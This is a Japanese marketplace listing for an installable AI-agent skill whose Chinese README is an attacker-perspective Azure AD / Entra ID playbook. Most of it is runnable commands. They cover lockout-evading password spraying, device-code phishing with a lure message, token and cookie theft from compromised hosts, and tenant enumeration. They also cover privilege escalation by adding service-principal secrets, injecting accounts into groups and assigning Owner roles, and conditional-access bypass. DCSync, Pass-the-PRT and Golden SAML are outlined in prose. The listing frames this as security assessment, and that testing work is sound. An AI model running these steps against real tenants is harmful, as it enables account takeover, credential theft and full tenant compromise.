mcpField
A
azure-ad-attack

azure-ad-attack

github.com/wgpsecセキュリティ1.8k43 回インストール4 日前に更新
リポジトリ

azure-ad-attack について

Azure AD と Entra ID の攻撃経路を調べるセキュリティ評価向けスキルです。初期アクセスから権限昇格、ラテラルムーブメントまでの手法やコマンド、ツールを整理しています。

主な機能

  1. 01初期アクセスとトークン攻撃のガイダンス
  2. 02Azure AD の列挙手順
  3. 03権限昇格とラテラルムーブメント経路
  4. 04条件付きアクセスの回避手法
  5. 05セキュリティツールの一覧

活用シーン

  1. 01セキュリティレビューでの Azure AD の露出評価
  2. 02発見した権限からの昇格経路の確認
  3. 03トークンアクセスと横展開リスクの点検

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill azure-ad-attack

インストール後、Claude Code で/azure-ad-attackを入力して読み込まれたか確認します。

同梱ファイルreferences/app-abuse.mdreferences/token-attacks.md

詳細

プロジェクトの README より

Azure AD / Entra ID 攻击方法论

定位:从攻击者视角利用 Azure AD 的信任关系、令牌机制和配置缺陷实现横向移动和权限提升

⛔ 深入参考


Phase 1: 初始访问

1.1 Password Spray(Azure AD)
# MSOLSpray — Azure AD 密码喷洒
python3 MSOLSpray.py --userlist users.txt --password 'Spring2024!' \
  --url https://login.microsoftonline.com

# Ruler — Exchange/O365 密码喷洒
ruler --domain target.com brute --users users.txt --passwords pass.txt

# Trevorspray — 分布式喷洒(绕过 Smart Lockout)
trevorspray --users users.txt --passwords passwords.txt \
  --url https://login.microsoftonline.com \
  --delay 30 --jitter 10

# ⛔ Azure AD Smart Lockout: 默认 10 次失败/60s
# 策略: 每用户 1-2 次尝试,间隔 > 60s,使用不同 IP
1.2 Phishing(Device Code / Consent Grant)
# Device Code Phishing — 不需要目标输入密码
# 1. 获取 device code
curl -X POST https://login.microsoftonline.com/common/oauth2/devicecode \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.microsoft.com"

# 2. 发送 device code 给目标(通过钓鱼邮件)
# "请访问 https://microsoft.com/devicelogin 并输入代码: XXXXXXXXX"

# 3. 目标输入代码后,攻击者获取令牌
curl -X POST https://login.microsoftonline.com/common/oauth2/token \
  -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&code=DEVICE_CODE"
1.3 Token 提取(已控主机)
# 从浏览器提取 Azure AD Cookie/Token
# Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies
# Edge: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cookies

# 从 TokenCache 提取
# Windows: %LOCALAPPDATA%\.IdentityService\msal.cache
# macOS: ~/Library/Group Containers/*.Office/MicrosoftRegistrationDB.reg

# 使用 AADInternals
Import-Module AADInternals
Get-AADIntAccessTokenForMSGraph  # 获取 Graph API token

Phase 2: 枚举与信息收集

# AzureHound — BloodHound 的 Azure 版本
azurehound list -u [email protected] -p 'password' --tenant target.onmicrosoft.com -o output.json

# ROADtools — Azure AD 完整枚举
roadrecon auth -u [email protected] -p 'password'
roadrecon gather
roadrecon gui  # Web UI 浏览结果

# Microsoft Graph API 枚举
# 用户列表
curl -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/users?\$select=displayName,userPrincipalName,accountEnabled"

# 组成员
curl -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/groups?\$filter=displayName eq 'Global Admins'&\$expand=members"

# 应用注册
curl -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/applications"

# Service Principals
curl -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/servicePrincipals"

Phase 3: 权限提升

3.1 Service Principal 密钥添加
# 如果有权限给 Application 添加凭据
# Application.ReadWrite.All 或 Application 的 Owner

# 前置:先确认自己是不是这个 App 的 Owner
Get-MgApplicationOwner -ApplicationId <application-object-id>

# 添加 Password Credential
curl -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  "https://graph.microsoft.com/v1.0/applications/{app-id}/addPassword" \
  -d '{"passwordCredential":{"displayName":"backup"}}'

# PowerShell cmdlet 形态(返回值里的 SecretText 只回显一次,不记就没了)
Add-MgApplicationPassword -ApplicationId <application-object-id> `
  -PasswordCredential @{ displayName = "backup" }
# 等价的服务主体形态
Add-MgServicePrincipalPassword -ServicePrincipalId <sp-object-id> `
  -PasswordCredential @{ displayName = "backup" }

# 使用新密码以 Service Principal 身份登录
curl -X POST "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" \
  -d "client_id={app-id}&client_secret={new-secret}&scope=https://graph.microsoft.com/.default&grant_type=client_credentials"

# 收尾:用完把加的凭据删掉(失败重试时最容易留下一堆 backup-cred)
Remove-MgApplicationPassword -ApplicationId <application-object-id> -KeyId <key-id>
3.2 组成员注入

组本身没权限不要紧 —— 看它挂的是哪个目录角色。

# 看 group 的 Owner:Owner 可改成员,是最省事的入口
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/beta/groups/<group-id>/owners"

# 把自己或控制的账号塞进高权限组
New-MgGroupMember -GroupId <group-id> -DirectoryObjectId <把自己/受控对象的 object-id>

# Azure 侧同一套思路:改 RBAC 分配(需要 Microsoft.Authorization/roleAssignments/write)
az role assignment create --assignee <object-id> --role Owner \
  --scope /subscriptions/<subscription-id>

回收:Remove-MgGroupMember -GroupId <gid> -DirectoryObjectId <oid>;RBAC 用 az role assignment delete。3.1 与本节都会在 Entra ID 审计日志里留下 Add member to group / Add service principal credentials 记录,这条清不掉。

3.3 Consent Grant 攻击
# 创建恶意应用 → 诱骗管理员授予高权限
# 如果有 Application Administrator 角色:
# 直接给应用授予 admin consent

# 检查已有高权限应用
curl -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/oauth2PermissionGrants?\$filter=consentType eq 'AllPrincipals'"
3.4 PIM (Privileged Identity Management) 激活
# 如果用户有 eligible 角色但未激活
# 使用 AADInternals 或 Graph API 激活

# 列出可激活的角色
curl -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/beta/roleManagement/directory/roleEligibilityScheduleRequests"

Phase 4: 横向移动

Azure → On-Premises
Azure AD Connect 同步账户:
├─ MSOL_<installationID> — 拥有域中 DCSync 权限
├─ 获取 Azure AD Connect 配置数据库中的凭据
├─ 使用 AADInternals: Get-AADIntSyncCredentials
└─ 用该凭据 DCSync 整个域

Pass-the-PRT (Primary Refresh Token):
├─ 从已 Azure AD Join 的设备提取 PRT
├─ 使用 PRT 访问所有 Azure AD SSO 资源
├─ 工具: ROADtoken, RequestAADRefreshToken
└─ 可绕过条件访问策略(已信任设备)
On-Premises → Azure
如果拥有 On-Prem 的 Azure AD Connect 服务器:
├─ 提取 MSOL 凭据 → 可修改任何 synced 用户的密码
├─ 通过 ADSync 数据库获取云管理员密码
└─ Golden SAML: 控制 AD FS → 伪造任何用户的 SAML token

Phase 5: 条件访问绕过

常见绕过方式:
├─ Device Code 流程 — 某些策略不覆盖 device flow
├─ Legacy Authentication — 旧协议可能不受 CA 限制
├─ 不同 Client ID — 使用非浏览器客户端(Azure CLI/PowerShell)
├─ Trusted Location 滥用 — 如果从已信任 IP 访问
└─ 合规设备伪造 — PRT 中的设备声明

工具速查

工具用途
AzureHoundAzure AD 攻击路径发现
ROADtools完整 Azure AD 枚举
AADInternalsAzure AD 利用框架
TokenTacticsToken 操作与刷新
MSOLSpray密码喷洒
GraphRunnerGraph API 交互
Trevorspray分布式喷洒

コメント